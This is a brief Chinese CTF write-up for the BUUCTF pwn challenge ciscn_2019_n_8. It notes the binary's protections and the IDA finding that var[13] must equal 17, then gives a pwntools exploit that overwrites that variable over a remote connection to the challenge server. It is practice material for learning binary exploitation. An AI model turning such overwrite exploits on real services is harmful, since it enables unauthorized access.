BUUCTF-PWN-ciscn_2019_n_8

共计 210 个字符，预计需要花费 1 分钟才能阅读完成。

提醒：本文最后更新于 2024-08-29 10:01，文中所关联的信息可能已发生改变，请知悉！

checksec

新手小白表示第一次碰到保护全开，有点震惊

IDA

看完 IDA 反向震惊，似乎只要 var[13] == 17 就好了

EXP

from pwn import *

p = remote('node4.buuoj.cn', 26178)

payload = b'aaaa' * 13 + p32(17)

p.sendlineafter('\n', payload)

p.interactive()

结果